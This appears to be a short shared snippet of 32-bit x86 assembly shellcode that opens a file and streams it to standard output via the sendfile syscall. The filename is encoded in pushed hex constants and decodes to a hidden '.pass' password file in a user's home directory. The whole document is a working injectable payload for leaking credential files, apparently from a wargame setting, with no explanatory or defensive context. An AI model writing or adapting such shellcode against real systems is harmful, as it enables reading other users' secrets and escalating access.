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[Read File to STDOUT x86 Shellcode] #shellcode #sendfile #assembly #x86
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| BITS 32 | |
| /* Zero out registers */ | |
| xor ecx, ecx | |
| mul ecx | |
| /* NULL byte */ | |
| push ecx | |
| /* push filename */ | |
| push 0x73 | |
| push 0x7361702e | |
| push 0x2f413363 | |
| push 0x616c2f65 | |
| push 0x6d6f682f | |
| /* filename pointer in ebx */ | |
| mov ebx, esp | |
| /* syscall open(filename, 0, 0) */ | |
| mov al, 0x5 | |
| int 0x80 | |
| /* sendfile the received handle to STDOUT (fd 1) */ | |
| mov ecx, eax | |
| xor ebx, ebx | |
| mul ebx | |
| inc ebx | |
| mov al, 0xbb | |
| mov esi, eax | |
| shl esi, 8 | |
| int 0x80 |
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